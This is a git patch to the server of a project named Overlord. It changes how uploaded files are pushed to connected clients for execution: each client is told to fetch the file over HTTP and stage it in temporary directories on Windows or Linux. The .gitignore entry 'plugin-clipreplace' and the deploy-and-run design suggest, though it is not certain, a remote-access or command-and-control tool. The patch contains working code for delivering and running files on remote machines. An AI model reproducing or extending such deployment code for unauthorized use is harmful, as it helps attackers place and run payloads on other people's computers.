From 833bad99e41640cb12ec0a9fcb7d6a0b74208d0a Mon Sep 17 00:00:00 2001 From: KingKDot Date: Mon, 23 Mar 2026 21:42:25 -0500 Subject: [PATCH] fix execution uploading --- .gitignore | 1 + .../src/server/routes/deploy-routes.ts | 70 ++++++++----------- .../src/server/routes/file-download-routes.ts | 36 +++++++++- 3 files changed, 66 insertions(+), 41 deletions(-) diff --git a/.gitignore b/.gitignore index e13afdd..eed3692 100644 --- a/.gitignore +++ b/.gitignore @@ -2,6 +2,7 @@ TODO-IMPROVEMENTS.md upx-reference.txt Overlord-Desktop-Tauri\* +plugin-clipreplace # Node/Bun node_modules/ diff --git a/Overlord-Server/src/server/routes/deploy-routes.ts b/Overlord-Server/src/server/routes/deploy-routes.ts index 471f5a9..a85e45d 100644 --- a/Overlord-Server/src/server/routes/deploy-routes.ts +++ b/Overlord-Server/src/server/routes/deploy-routes.ts @@ -7,6 +7,7 @@ import { AuditAction, logAudit } from "../../auditLog"; import * as clientManager from "../../clientManager"; import { metrics } from "../../metrics"; import { encodeMessage } from "../../protocol"; +import { createUploadPull } from "./file-download-routes"; type RequestIpProvider = { requestIP: (req: Request) => { address?: string } | null | undefined; @@ -175,8 +176,6 @@ export async function handleDeployRoutes( return new Response("Not found", { status: 404 }); } - const bytes = new Uint8Array(await fs.readFile(upload.path)); - const chunkSize = 256 * 1024; const results: Array<{ clientId: string; ok: boolean; reason?: string; command?: string }> = []; const formatCommandDisplay = (commandPath: string, commandArgs: string) => { @@ -208,34 +207,30 @@ export async function handleDeployRoutes( continue; } - const dir = clientOs === "windows" + const destDir = clientOs === "windows" ? `C:\\Windows\\Temp\\Overlord\\${upload.id}` : `/tmp/overlord/${upload.id}`; const destPath = clientOs === "windows" - ? `${dir}\\${upload.name}` - : `${dir}/${upload.name}`; + ? `${destDir}\\${upload.name}` + : `${destDir}/${upload.name}`; + + const pullId = createUploadPull({ + clientId, + filePath: upload.path, + fileName: upload.name, + size: upload.size, + }); + const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`; target.ws.send( encodeMessage({ type: "command", - commandType: "file_mkdir", + commandType: "file_upload_http", id: uuidv4(), - payload: { path: dir }, + payload: { path: destPath, url: pullUrl, total: upload.size }, }), ); - for (let offset = 0; offset < bytes.length; offset += chunkSize) { - const chunk = bytes.subarray(offset, Math.min(offset + chunkSize, bytes.length)); - target.ws.send( - encodeMessage({ - type: "command", - commandType: "file_upload", - id: uuidv4(), - payload: { path: destPath, data: chunk, offset, total: bytes.length }, - }), - ); - } - if (clientOs !== "windows") { target.ws.send( encodeMessage({ @@ -302,8 +297,9 @@ export async function handleDeployRoutes( return new Response("Not found", { status: 404 }); } - const bytes = new Uint8Array(await fs.readFile(upload.path)); - const chunkSize = 256 * 1024; + const fileBytes = new Uint8Array(await fs.readFile(upload.path)); + const fileHash = createHash("sha256").update(fileBytes).digest("hex"); + const results: Array<{ clientId: string; ok: boolean; reason?: string }> = []; for (const clientId of clientIds) { @@ -325,34 +321,30 @@ export async function handleDeployRoutes( continue; } - const dir = clientOs === "windows" + const destDir = clientOs === "windows" ? `C:\\Windows\\Temp\\Overlord\\${upload.id}` : `/tmp/overlord/${upload.id}`; const destPath = clientOs === "windows" - ? `${dir}\\${upload.name}` - : `${dir}/${upload.name}`; + ? `${destDir}\\${upload.name}` + : `${destDir}/${upload.name}`; + + const pullId = createUploadPull({ + clientId, + filePath: upload.path, + fileName: upload.name, + size: upload.size, + }); + const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`; target.ws.send( encodeMessage({ type: "command", - commandType: "file_mkdir", + commandType: "file_upload_http", id: uuidv4(), - payload: { path: dir }, + payload: { path: destPath, url: pullUrl, total: upload.size }, }), ); - for (let offset = 0; offset < bytes.length; offset += chunkSize) { - const chunk = bytes.subarray(offset, Math.min(offset + chunkSize, bytes.length)); - target.ws.send( - encodeMessage({ - type: "command", - commandType: "file_upload", - id: uuidv4(), - payload: { path: destPath, data: chunk, offset, total: bytes.length }, - }), - ); - } - if (clientOs !== "windows") { target.ws.send( encodeMessage({ @@ -364,7 +356,7 @@ export async function handleDeployRoutes( ); } - const hash = createHash("sha256").update(bytes).digest("hex"); + const hash = fileHash; target.ws.send( encodeMessage({ type: "command", diff --git a/Overlord-Server/src/server/routes/file-download-routes.ts b/Overlord-Server/src/server/routes/file-download-routes.ts index 10ecb03..3728d54 100644 --- a/Overlord-Server/src/server/routes/file-download-routes.ts +++ b/Overlord-Server/src/server/routes/file-download-routes.ts @@ -61,6 +61,7 @@ type UploadPull = { size: number; expiresAt: number; timeout: ReturnType; + deleteFile: boolean; }; type FileDownloadRouteDeps = { @@ -299,6 +300,33 @@ async function serveDownloadById( return new Response(streamFileAndDelete(completed.tmpPath), { headers }); } +export function createUploadPull(opts: { + clientId: string; + filePath: string; + fileName: string; + size: number; + ttlMs?: number; +}): string { + const pullId = uuidv4(); + const ttl = opts.ttlMs ?? FILE_UPLOAD_PULL_TTL_MS; + const expiresAt = Date.now() + ttl; + const pullTimeout = setTimeout(() => { + uploadPulls.delete(pullId); + }, ttl); + uploadPulls.set(pullId, { + id: pullId, + clientId: opts.clientId, + path: opts.filePath, + fileName: opts.fileName, + tmpPath: opts.filePath, + size: opts.size, + expiresAt, + timeout: pullTimeout, + deleteFile: false, + }); + return pullId; +} + export async function handleFileDownloadRoutes( req: Request, url: URL, @@ -446,7 +474,7 @@ export async function handleFileDownloadRoutes( const pullTimeout = setTimeout(() => { const pull = uploadPulls.get(pullId); uploadPulls.delete(pullId); - if (pull) { + if (pull && pull.deleteFile) { void fs.unlink(pull.tmpPath).catch(() => {}); } }, FILE_UPLOAD_PULL_TTL_MS); @@ -460,6 +488,7 @@ export async function handleFileDownloadRoutes( size: stagedSize, expiresAt: pullExpiresAt, timeout: pullTimeout, + deleteFile: true, }); return Response.json({ @@ -514,7 +543,10 @@ export async function handleFileDownloadRoutes( "Content-Length": String(pull.size), }; - return new Response(streamFileAndDelete(pull.tmpPath), { headers }); + const body = pull.deleteFile + ? streamFileAndDelete(pull.tmpPath) + : Bun.file(pull.tmpPath).stream(); + return new Response(body, { headers }); } if (!url.pathname.startsWith("/api/file/download")) {